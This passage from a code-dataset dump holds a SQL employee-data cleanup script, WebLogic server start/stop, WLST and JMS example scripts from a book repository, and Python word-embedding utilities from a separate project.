1\n);\n\ndrop table if exists duplicates\ncreate table duplicates as(\n select *\n from gs_employees_with_location\n where observed_name in (select observed_name from duplicates_temp)\n and observed_name not ilike '%WITHHELD%'\n);\n\nselect count(distinct observed_name)\nfrom duplicates;\n\n\"MAKING FINAL GS TABLE AND DROPPING REDUNANDANT COLUMNS\"\n\ndrop table if exists gs_employees_final;\ncreate table gs_employees_final as (\n select *\n from gs_employees_with_location\n where observed_name not in (select observed_name from duplicates)\n);\n\nalter table gs_employees_final\ndrop column observed_grade,\ndrop column observed_city,\ndrop column year,\ndrop column gs_msa;\n\n\n\n\"PART V: FINAL JOINS FOR NON-GS EMPLOYEES\"\n\ndrop table if exists cities_with_govt_employees\ncreate table cities_with_govt_employees as(\n select distinct city,\n county,\n state,\n msa\nfrom gs_employees_final\n);\n\ndrop table if exists non_gs_employees_with_location_temp\ncreate table non_gs_employees_with_location_temp AS (\n select distinct *\n from non_gs_employees\n inner join cities_with_govt_employees on lower(observed_city) = lower(city)\n);\n\nselect count(distinct observed_name)\n from non_gs_employees_with_location_temp;\n\n\"making a duplicates list now\"\n\ndrop table if exists duplicates_temp\ncreate table duplicates_temp as(\n select observed_name, observed_salary, city, count(*)\n from non_gs_employees_with_location_temp\n group by observed_name, observed_salary, city\n having count(*) > 1\n);\n\ndrop table if exists non_gs_duplicates\ncreate table non_gs_duplicates as(\n select *\n from non_gs_employees_with_location_temp\n where observed_name in (select observed_name from duplicates_temp)\n and observed_name not ilike '%WITHHELD%'\n);\n\nalter table non_gs_duplicates\nrename column observed_name to dup_name;\nalter table non_gs_duplicates\nrename column observed_salary to dup_salary;\nalter table non_gs_duplicates\ndrop column observed_grade,\ndrop column observed_department,\ndrop column observed_schedule,\ndrop column observed_city,\ndrop column observed_job,\ndrop column year,\ndrop column city,\ndrop column county,\ndrop column state,\ndrop column msa;\n\n\"PART VI. Join all of it together to get our unique non-GS employees\"\n\ndrop table if exists non_gs_final\ncreate table non_gs_final as(\n select *\n from non_gs_employees_with_location_temp as a\n left join (select * from non_gs_duplicates) b on a.observed_name = b.dup_name and a.observed_salary = b.dup_salary\n);\n\ndelete from non_gs_final\nwhere dup_name is not null;\n\nalter table non_gs_final\ndrop column dup_name,\ndrop column dup_salary,\ndrop column observed_city;\n\nalter table non_gs_final\nalter column observed_salary type numeric;\n\n\n\"PART VII: Put it all together and clean up\"\n\ndrop table if exists all_employees_final\ncreate table all_employees_final as(\n select *\n from gs_employees_final\n);\n\nselect *\nfrom all_employees_final\nlimit 1;\n\nalter table all_employees_final\ndrop column gs_step,\ndrop column gs_salary,\ndrop column population;\n\nalter table all_employees_final\nalter column gs_grade type varchar;\n\ninsert into all_employees_final\nselect observed_name,\n observed_schedule,\n observed_salary,\n observed_department,\n observed_job,\n observed_grade,\n city,\n state,\n county,\n msa\nfrom non_gs_final;\n\nalter table all_employees_final\nrename column gs_grade to grade;\n\nselect *\nfrom all_employees_final\norder by observed_name\nlimit 1000;\n\n\"FINAL STEP: DESTROY ALL USELESS TABLES\"\n\ndrop table if exists duplicates_temp;\ndrop table if exists redundancy_test;\ndrop table if exists trial_data;\ndrop table if exists non_gs_employees_with_location_temp;\n\n\n\n\n\"below is all trial stuff\"\n\nselect count(distinct observed_name)\nfrom govt_data_clean\nwhere observed_schedule = 'GS';\n\nselect *\nfrom gs_employees_with_location\nwhere city = 'Washington' and msa ilike '%NJ%' and observed_salary !=161900;\n\nselect count(distinct observed_name)\nfrom gs_employees_with_location;\n\nselect count(*)\nfrom gs_employees_with_location\nwhere observed_salary != 161900;\n\n\"now making a table of unique cities and non-gs employees to match against\"\n\n" } ]
2
Great-Stone/weblogic-expert
https://github.com/Great-Stone/weblogic-expert
8f77c50e3c25110851078e93a13369c2bbffdcd7
74727b3ece0549fc1d07056489ea9672bbbeecce
1b1196e1c4437a09c098d1d7d242562c72bfb89b
refs/heads/master
2021-01-20T01:43:30.236039
2018-01-27T13:00:39
2018-01-27T13:00:39
101,298,723
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.8114285469055176, "alphanum_fraction": 0.8114285469055176, "avg_line_length": 87, "blob_id": "0a88adc5275b8b69b9ca9c1cff2941f1ae2fea48", "content_id": "0346dd6127404cab0e0d832e54a3996bc455e6b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 175, "license_type": "permissive", "max_line_length": 156, "num_lines": 2, "path": "/chapter3/Scripts/unix_linux/NodeManager/wlst/stopNM.py", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "nmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\nstopNodeManager();" }, { "alpha_fraction": 0.6639999747276306, "alphanum_fraction": 0.7760000228881836, "avg_line_length": 62, "blob_id": "d488d3b4f87f9323cfa0ce11f5b76022d0767349", "content_id": "3ece9946f019a59ac1fd588926d25a328ca70799", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 125, "license_type": "permissive", "max_line_length": 101, "num_lines": 2, "path": "/chapter3/Scripts/unix_linux/9.0~12.1.2/stopAdmin.sh", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": ". ./bin/setDomainEnv.sh\njava weblogic.Admin -url t3://192.168.0.33:7001 -username weblogic -password welcome1 FORCESHUTDOWN" }, { "alpha_fraction": 0.6383763551712036, "alphanum_fraction": 0.7269372940063477, "avg_line_length": 44.33333206176758, "blob_id": "d0813da620d13587844f97caea4ec9e7c1f28dec", "content_id": "2cc01d4ebc3b1519a6d71bdfbfffa03cb84bf130", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 271, "license_type": "permissive", "max_line_length": 102, "num_lines": 6, "path": "/chapter3/Scripts/unix_linux/8.1/startM1.sh", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "SERVER_NAME=Managed01\nDOMAIN_HOME=/app/wls/wls816/domains/v816domain\nLOG_DIR=$DOMAIN_HOME/logs\n\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\nnohup ./startManagedWebLogic.sh $SERVER_NAME t3://192.168.0.33:7001 > $LOG_DIR/$SERVER_NAME.out 2>&1 &" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.8240165710449219, "avg_line_length": 33.57143020629883, "blob_id": "3c2cbd8332ab2606a1e0e7300e753b5efb56dea9", "content_id": "d4e804d0ebe31a7ef3a1a604a901f9ef95d94380", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 483, "license_type": "permissive", "max_line_length": 69, "num_lines": 14, "path": "/chapter3/Scripts/windows/NodeManager/wlst/env.properties", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "domain_name=v1212domain\ndomain_home=D:\\\\wls\\\\wls1212\\\\domains\\\\v1212domain\nnode_manager_username=weblogic\nnode_manager_password=welcome1\nnode_manager_home=D:\\\\wls\\\\wls1212\\\\domains\\\\v1212domain\\\\nodemanager\nnode_manager_listen_address=192.168.0.33\nnode_manager_listen_port=5556\nnode_manager_type=plain\nadmin_username=weblogic\nadmin_password=welcome1\nadmin_server_listen_address=192.168.0.33\nadmin_server_listen_port=7001\nadmin_server_name=1212Admin\nmanaged_server_name1=Managed01" }, { "alpha_fraction": 0.6160714030265808, "alphanum_fraction": 0.7410714030265808, "avg_line_length": 55.5, "blob_id": "de6cb3ee2b272c6a241c77f80566481261c35676", "content_id": "06a7285430b86307c375281b4e355f308715a0cc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 112, "license_type": "permissive", "max_line_length": 98, "num_lines": 2, "path": "/chapter3/Scripts/unix_linux/8.1/stopAdmin.sh", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": ". ./setEnv.sh\njava weblogic.Admin -url t3://192.168.0.33:7001 -username weblogic -password welcome1 FORCESHUTDOWN" }, { "alpha_fraction": 0.6485841274261475, "alphanum_fraction": 0.6496076583862305, "avg_line_length": 33.093021392822266, "blob_id": "8158332bf75895f2c7355a9a52df5471ea893051", "content_id": "ec0eee67cebdbf2bac043a4e918f34360b74cb15", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2931, "license_type": "permissive", "max_line_length": 133, "num_lines": 86, "path": "/chapter12/Topictest/TopicSend.java", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "import java.io.*;\nimport java.util.*;\nimport javax.transaction.*;\nimport javax.naming.*;\nimport javax.jms.*;\nimport javax.rmi.*;\n\npublic class TopicSend\n{\n public final static String JNDI_FACTORY = \"weblogic.jndi.WLInitialContextFactory\";\n public final static String CONN_FACTORY = \"com.wlsexpert.ConnectionFactory\";\n public final static String TOPIC = \"com.wlsexpert.Topic\";\n\n protected TopicConnectionFactory dutconFactory;\n protected TopicConnection dutcon;\n protected TopicSession dutsession;\n protected TopicPublisher dutpublisher;\n protected Topic dutopic;\n protected TextMessage msg;\n\n public static void main(String[] args) throws Exception\n {\n if (args.length != 1)\n {\n System.out.println(\"Usage: java examples.jms.dutopic.TopicSend WebLogicURL\");\n return;\n }\n\n InitialContext ic = getInitialContext(args[0]);\n TopicSend duts = new TopicSend();\n duts.init(ic, TOPIC);\n readAndSendMsg(duts);\n duts.close();\n }\n\n public void init(Context ctx, String topicName) throws NamingException, JMSException\n {\n dutconFactory = (TopicConnectionFactory) PortableRemoteObject.narrow(ctx.lookup(CONN_FACTORY), TopicConnectionFactory.class);\n dutcon = dutconFactory.createTopicConnection();\n dutsession = dutcon.createTopicSession(false, Session.AUTO_ACKNOWLEDGE);\n dutopic = (Topic) PortableRemoteObject.narrow(ctx.lookup(topicName), Topic.class);\n dutpublisher = dutsession.createPublisher(dutopic);\n msg = dutsession.createTextMessage();\n dutcon.start();\n }\n\n protected static InitialContext getInitialContext(String url) throws NamingException\n {\n Hashtable < String, String > env = new Hashtable < String, String > ();\n env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);\n env.put(Context.PROVIDER_URL, url);\n env.put(\"weblogic.jndi.createIntermediateContexts\", \"true\");\n return new InitialContext(env);\n }\n\n public void sendmsg(String message) throws JMSException\n {\n msg.setText(message);\n dutpublisher.publish(msg);\n }\n\n protected static void readAndSendMsg(TopicSend duts) throws IOException, JMSException\n {\n BufferedReader msgStream = new BufferedReader(new InputStreamReader(System.in));\n String line = null;\n \n do\n {\n System.out.print(\"Enter your message (\\\"quit\\\" to quit): \\n\");\n line = msgStream.readLine();\n\n if (line != null && line.trim().length() != 0)\n {\n duts.sendmsg(line);\n System.out.println(\"Sent JMS Message: \" + line + \"\\n\");\n }\n } while (line != null && !line.equalsIgnoreCase(\"quit\"));\n }\n\n public void close() throws JMSException\n {\n dutpublisher.close();\n dutsession.close();\n dutcon.close();\n }\n}" }, { "alpha_fraction": 0.7301255464553833, "alphanum_fraction": 0.8410041928291321, "avg_line_length": 33.21428680419922, "blob_id": "86370198079e38f42383fe917800e9b3e307ace1", "content_id": "48f09c9367f321d4f1c6e991c14b1273ee379d5d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 478, "license_type": "permissive", "max_line_length": 66, "num_lines": 14, "path": "/chapter3/Scripts/unix_linux/NodeManager/wlst/env.properties", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "domain_name=v1212domain\ndomain_home=/app/wls/wls1212/domains/v1212domain\nnode_manager_username=weblogic\nnode_manager_password=welcome1\nnode_manager_home=/app/wls/wls1212/domains/v1212domain/nodemanager\nnode_manager_listen_address=192.168.0.33\nnode_manager_listen_port=5556\nnode_manager_type=plain\nadmin_username=weblogic\nadmin_password=welcome1\nadmin_server_listen_address=192.168.0.33\nadmin_server_listen_port=7001\nadmin_server_name=1212Admin\nmanaged_server_name1=Managed01" }, { "alpha_fraction": 0.6453900933265686, "alphanum_fraction": 0.695035457611084, "avg_line_length": 27.299999237060547, "blob_id": "f0cf3bc1a741e8c6edf2244da847c2f2b004abf7", "content_id": "dd18460dc84a2f3b659102303a2395e63ad67eca", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 282, "license_type": "permissive", "max_line_length": 97, "num_lines": 10, "path": "/chapter3/Scripts/unix_linux/NodeManager/wlst/startwlst.sh", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "WL_HOME=/app/wls/wls1212/wlserver\nDOMAIN_HOME=/app/wls/wls1212/domains/v1212domain\n\nif [ \"$1\" = \"\" ] ; then\n echo \"Script Error\"\n echo \"ex) ./startwlst.sh [py_file]\"\n exit\nfi\n\n$WL_HOME/common/bin/wlst.sh -loadProperties $DOMAIN_HOME/wlst/env.properties $DOMAIN_HOME/wlst/$1" }, { "alpha_fraction": 0.6037735939025879, "alphanum_fraction": 0.6226415038108826, "avg_line_length": 52.5, "blob_id": "6a2206c053a5a59a5cee7724a4698c5e3032de45", "content_id": "d82b81430b1212e88b774b11ca2d06487d170ee5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 106, "license_type": "permissive", "max_line_length": 53, "num_lines": 2, "path": "/chapter3/Scripts/unix_linux/NodeManager/startNM.sh", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "mv $LOG_DIR/NM.out $LOG_DIR/$NM.`date +'%m%d_%H%M%S'`\nnohup ./startNodeManager.sh > $LOG_DIR/NM.out 2>&1 &" }, { "alpha_fraction": 0.709261417388916, "alphanum_fraction": 0.743259072303772, "avg_line_length": 27.46666717529297, "blob_id": "c01e32ee3d26f65f128a6775cdf4735ca3c08abf", "content_id": "5bbeacc73718e16339f831b45e5c10462987f612", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 853, "license_type": "permissive", "max_line_length": 71, "num_lines": 30, "path": "/chapter2/Scripts/wlst_domain_script/w1212domain.py", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "# Create WLS 12.1.2 Domain\n\n# Read Template\nprint('Read Template')\nreadTemplate('/app/wls/wls1212/wlserver/common/templates/wls/wls.jar');\n\n# Configure Administrative Username and Password\nprint('Configure Administrative Username and Password');\ncd('Security/base_domain/User/weblogic');\nset('Name','weblogic');\ncmo.setPassword('welcome1');\n# Domain Mode Configuration\nprint('Domain Mode Configuration');\ncd('/');\nset('ProductionModeEnabled','true');\n# Set JDK\nprint('Set JDK');\nsetOption('JavaHome','/usr/jdk1.7.0_51');\n# Configure the Administration Server\nprint('Configure the Administration Server');\ncd('Servers/AdminServer');\nset('Name','1212Admin');\nset('ListenAddress','All Local Addresses');\nset('ListenPort',7001);\n# Create Domain\nprint('Create Domain');\ncd('/');\nwriteDomain('/app/wls/wls1212/domains/v1212domain');\ncloseTemplate();\nexit();" }, { "alpha_fraction": 0.6740087866783142, "alphanum_fraction": 0.7224669456481934, "avg_line_length": 37, "blob_id": "80b4f2692700d2dd6bd15ecde5df9c30af957248", "content_id": "8679bdccf08a5805711b86664f86a18d315c6d71", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 227, "license_type": "permissive", "max_line_length": 72, "num_lines": 6, "path": "/chapter3/Scripts/unix_linux/8.1/startAdmin.sh", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "SERVER_NAME=816Admin\nDOMAIN_HOME=/app/wls/wls816/domains/v816domain\nLOG_DIR=$DOMAIN_HOME/logs\n\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\nnohup ./startWebLogic.sh > $LOG_DIR/$SERVER_NAME.out 2>&1 &" }, { "alpha_fraction": 0.8507462739944458, "alphanum_fraction": 0.8507462739944458, "avg_line_length": 67, "blob_id": "8cc4441defaf3df6e0b68d81ccd2fca4b16103df", "content_id": "0ebb08a904cbbe581bb9e8cea9be1246bc9e40ba", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 67, "license_type": "permissive", "max_line_length": 67, "num_lines": 1, "path": "/chapter3/Scripts/unix_linux/NodeManager/wlst/startNM.py", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "startNodeManager(verbose='true', NodeManagerHome=node_manager_home)" }, { "alpha_fraction": 0.6529126167297363, "alphanum_fraction": 0.737864077091217, "avg_line_length": 40.29999923706055, "blob_id": "1ed18591f93462adda5bff709993a8c640dd0971", "content_id": "f11fa57002bf023e2ac25aaf5f0a6ddaecea13cf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 412, "license_type": "permissive", "max_line_length": 106, "num_lines": 10, "path": "/chapter3/Scripts/unix_linux/9.0~12.1.2/startM1.sh", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "SERVER_NAME=Managed01\nDOMAIN_HOME=/app/wls/wls1036/domains/v1036domain\nLOG_DIR=$DOMAIN_HOME/logs\n\nexport USER_MEM_ARGS=\"-D$SERVER_NAME -Xms512m -Xmx512m -XX:MaxPermSize=256m\"\nexport EXT_PRE_CLASSPATH=\"\"\nexport EXT_POST_CLASSPATH=\"\"\n\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\nnohup ./bin/startManagedWebLogic.sh $SERVER_NAME t3://192.168.0.33:7001 > $LOG_DIR/$SERVER_NAME.out 2>&1 &" }, { "alpha_fraction": 0.7873753905296326, "alphanum_fraction": 0.7873753905296326, "avg_line_length": 36.75, "blob_id": "1fd0d134654beb4411c59251ec39ecdd3f34cf03", "content_id": "bc904637ec640864f41fe2d6135688e733357539", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 301, "license_type": "permissive", "max_line_length": 156, "num_lines": 8, "path": "/chapter3/Scripts/windows/NodeManager/wlst/startAdmin.py", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "print 'CONNECT TO NODE MANAGER';\nnmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\n\nprint 'START ADMIN SERVER';\nnmStart(admin_server_name);\n\nprint 'DISCONNECT FROM NODE MANAGER';\nnmDisconnect();" }, { "alpha_fraction": 0.7544426321983337, "alphanum_fraction": 0.7576736807823181, "avg_line_length": 37.75, "blob_id": "35e0483b6f5d07fd59cfc5eb843e053fff2a12be", "content_id": "ccd3d2b2c06473646e36c4a8b6964aad0f09718b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 619, "license_type": "permissive", "max_line_length": 156, "num_lines": 16, "path": "/chapter3/Scripts/unix_linux/NodeManager/wlst/startM1.py", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "admin_server_url='t3://' + admin_server_listen_address + ':' + admin_server_listen_port;\n\nprint 'CONNECT TO ADMIN SERVER';\nconnect(admin_username, admin_password, admin_server_url);\n\nprint 'CONNECT TO NODE MANAGER';\nnmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\n\nprint 'START MANAGED SERVER';\nnmStart(managed_server_name1);\n\nprint 'DISCONNECT FROM NODE MANAGER ON ' + node_manager_listen_address + ':' + repr(node_manager_listen_port);\nnmDisconnect();\n\nprint 'DISCONNECT FROM THE ADMIN SERVER';\ndisconnect();" }, { "alpha_fraction": 0.6949999928474426, "alphanum_fraction": 0.75, "avg_line_length": 49, "blob_id": "63403b1de99c8dea3165eb71b73178f64a11f04a", "content_id": "1003f6ba772df21909b0c8f7570af9bd85aead69", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 240, "license_type": "permissive", "max_line_length": 95, "num_lines": 4, "path": "/README.md", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "# weblogic-expert\n설치에서 트러블슈팅까지 웹로직의 모든 것 - WebLogic Expert ([링크](http://www.acornpub.co.kr/book/weblogic-expert))\n\n![book-image](http://www.acornpub.co.kr/tb/detail/book/pr/mi/1403003261oMG8tSIT.jpg)\n" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.7596899271011353, "avg_line_length": 38.769229888916016, "blob_id": "d631a8f91e1d123f7fa69687db969258e052e206", "content_id": "522712998f8be06d401d6f7816fbf783976d845b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 516, "license_type": "permissive", "max_line_length": 156, "num_lines": 13, "path": "/chapter3/Scripts/unix_linux/NodeManager/wlst/stopAdmin.py", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "admin_server_url='t3://' + admin_server_listen_address + ':' + admin_server_listen_port;\n\nprint 'CONNECT TO ADMIN SERVER';\nconnect(admin_username, admin_password, admin_server_url);\n\nprint 'CONNECT TO NODE MANAGER';\nnmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\n\nprint 'STOPPING ADMIN SERVER';\nshutdown(admin_server_name,'Server','true',1000,'true');\n\nprint 'DISCONNECT FROM NODE MANAGER';\nnmDisconnect();" }, { "alpha_fraction": 0.6739726066589355, "alphanum_fraction": 0.7369862794876099, "avg_line_length": 35.599998474121094, "blob_id": "1a3c7f160c9dfc6989151d61acfbf336856ed183", "content_id": "3bdfecd5ff6b069565d7cecc12e065e6681f9816", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 365, "license_type": "permissive", "max_line_length": 76, "num_lines": 10, "path": "/chapter3/Scripts/unix_linux/9.0~12.1.2/startAdmin.sh", "repo_name": "Great-Stone/weblogic-expert", "src_encoding": "UTF-8", "text": "SERVER_NAME=1036Admin\nDOMAIN_HOME=/app/wls/wls1036/domains/v1036domain\nLOG_DIR=$DOMAIN_HOME/logs\n\nexport USER_MEM_ARGS=\"-D$SERVER_NAME -Xms512m -Xmx512m -XX:MaxPermSize=256m\"\nexport EXT_PRE_CLASSPATH=\"\"\nexport EXT_POST_CLASSPATH=\"\"\n\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\nnohup ./startWebLogic.sh > $LOG_DIR/$SERVER_NAME.out 2>&1 &" } ]
18
zbhno37/srwe
https://github.com/zbhno37/srwe
787f9b2d21086ba7f773addb5f5c78a2bd29a1e0
01bbdd9aa76adc4b028e1821a7284680480fc297
2a6c9b9937aadbef02b6402da15aa6ed1ce53e94
refs/heads/master
2021-01-10T01:43:21.703713
2016-03-13T02:24:13
2016-03-13T02:24:13
47,951,357
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.5625473856925964, "alphanum_fraction": 0.5807430148124695, "avg_line_length": 30.404762268066406, "blob_id": "8ff0e8e39126621f7267f102cdc3c262afc13c59", "content_id": "0189e2c0d78616dd1c910d67e31dee7b6c12ab57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1319, "license_type": "no_license", "max_line_length": 77, "num_lines": 42, "path": "/gen_data/parse_wiki.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "#coding=utf-8\nimport logging\nfrom gensim.corpora import WikiCorpus\nfrom collections import defaultdict\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\n\ndef parse_wiki(filename):\n fout = file('../../paper/data/wiki/wiki_corpus', 'w')\n wiki = WikiCorpus(filename, lemmatize=False, dictionary={}, processes=5)\n count = 0\n for text in wiki.get_texts():\n fout.write('%s\\n' % ' '.join(text))\n if count % 10000 == 0:\n logging.info(count)\n count += 1\n\n fout.close()\n logging.info('Finish %d' % count)\n\ndef word_freq(filename):\n fout = file('../../paper/data/wiki/wiki_corpus.vocab', 'w')\n freq = defaultdict(lambda: 0)\n count = 0\n with open(filename) as fin:\n for line in fin:\n words = line.strip().split(' ')\n for word in words:\n freq[word] += 1\n if count % 10000 == 0:\n logging.info(count)\n count += 1\n sorted_words = sorted(freq.items(), key=lambda x:x[1], reverse=True)\n for item in sorted_words:\n fout.write('%s\\t%s\\n' % (item[0], item[1]))\n fout.close()\n\ndef main():\n #parse_wiki('../../paper/data/wiki/enwiki-latest-pages-articles.xml.bz2')\n word_freq('../../paper/data/wiki/wiki_corpus')\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4976470470428467, "alphanum_fraction": 0.5168627500534058, "avg_line_length": 27.0219783782959, "blob_id": "13bea97d38ae26b578cf32441bc1227c78eb19f0", "content_id": "0b9fa15163009311d9283127647607b741229624", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2550, "license_type": "no_license", "max_line_length": 85, "num_lines": 91, "path": "/src/utils.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import heapq\nimport math\nimport numpy as np\nimport scipy.spatial\n\ndef similarity(v1, v2):\n inner = sum([v1[i] * v2[i] for i in range(len(v1))])\n sum1 = math.sqrt(sum([v1[i] * v1[i] for i in range(len(v1))]))\n sum2 = math.sqrt(sum([v2[i] * v2[i] for i in range(len(v2))]))\n if sum1 == 0 or sum2 == 0:\n return -1\n return inner * 1.0 / (sum1 * sum2)\n\ndef similarity_numpy(v1, v2):\n return 1 - scipy.spatial.distance.cosine(v1, v2)\n\nclass MinSizeHeap:\n def __init__(self, size):\n self.size = size\n self.arr = []\n heapq.heapify(self.arr)\n\n def push(self, item):\n if len(self.arr) > self.size:\n top = self.arr[0]\n if top[0] < item[0]:\n heapq.heappop(self.arr)\n heapq.heappush(self.arr, item)\n else:\n heapq.heappush(self.arr, item)\n\n def pop(self):\n return heapq.heappop(self.arr)\n\n def sort(self):\n self.arr.sort(reverse=True)\n\n def extend(self, arr):\n #format\n #[(value, title), ...]\n for each in arr:\n self.push(each)\n\n def clear(self):\n del self.arr[:]\n\n def get(self):\n return self.arr\n\ndef load_w2v_model(model_file, logging = None, nparray = False):\n model = {}\n total = 0\n vector_size = 0\n with open(model_file) as fin:\n total, vector_size = map(lambda x: int(x), fin.readline().strip().split(' '))\n if logging:\n logging.info('load vector from: %s' % model_file)\n logging.info('total:%d, vector_size:%d' % (total, vector_size))\n count = 0\n for line in fin:\n line = line.strip().split(' ')\n vec = map(lambda x: float(x), line[1:])\n model[line[0]] = np.array(vec) if nparray else vec\n if count % 10000 == 0 and logging:\n logging.info('loading %d / %d\\r' % (count, total))\n count += 1\n return model\n\ndef is_version(s):\n try:\n float(s)\n return True\n except:\n arr = s.strip().split('.')\n for seg in arr:\n seg = seg.decode('utf-8')\n if not (seg.isdigit() or seg == 'x' or seg == 'X'):\n return False\n return True\n\ndef load_wiki_dict(filename):\n # word \\t freq\n word_set = {}\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if int(arr[1]) >= 3:\n #word_set.add(arr[0])\n word_set[arr[0]] = int(arr[1])\n else: break\n return word_set\n" }, { "alpha_fraction": 0.5360946655273438, "alphanum_fraction": 0.55266273021698, "avg_line_length": 29.178571701049805, "blob_id": "0323c2a26034c0a6c89c11e0b188a5513700b76f", "content_id": "ea1b95dcb61cad4937cb261921169daba99261cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1690, "license_type": "no_license", "max_line_length": 96, "num_lines": 56, "path": "/src/find_similarity.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import heapq\nimport logging\nfrom utils import *\n\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\n\ndef find_most_similarity(word, model):\n heap = MinSizeHeap(20)\n for w in model:\n if word == w: continue\n heap.push((similarity(model[word], model[w]), w))\n heap.sort()\n return heap.arr\n\ndef find_most_similarity_vector(vector, model):\n heap = MinSizeHeap(20)\n for w in model:\n heap.push((similarity(vector, model[w]), w))\n heap.sort()\n return heap.arr\n\ndef main():\n model = load_w2v_model('../../paper/data/srwe_model/wiki_small.w2v.r.0.0005.model', logging)\n while True:\n query = raw_input('input query word:\\n')\n if not query:\n continue\n # words similarity\n #arr = query.strip().split(' ')\n #if len(arr) != 2: continue\n #w1, w2 = arr\n #if w1 not in model or w2 not in model:\n #continue\n #print '%s,%s:%lf' % (w1, w2, similarity(model[w1], model[w2]))\n\n # top similarity words\n #if query not in model:\n #print '%s not in vocab.' % query\n #continue\n #res = find_most_similarity(query, model)\n #for sim, word in res:\n #print '%s\\t%lf' % (word, sim)\n\n #relation query\n arr = query.strip().split(' ')\n if len(arr) != 2: continue\n w1, w2 = arr\n if w1 not in model or w2 not in model:\n continue\n h_r = [model[w1][i] + model[w2][i] for i in range(len(model[w1]))]\n res = find_most_similarity_vector(h_r, model)\n for sim, word in res:\n print '%s\\t%lf' % (word, sim)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6453201770782471, "alphanum_fraction": 0.6674876809120178, "avg_line_length": 24.375, "blob_id": "381604b765f4a8e4fdbae9e9d74f5ec0773acebe", "content_id": "329eec9882a005a6933c87e8ae85d2727c2b896c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 406, "license_type": "no_license", "max_line_length": 93, "num_lines": 16, "path": "/src/makefile", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "CC = g++\n#The -Ofast might not 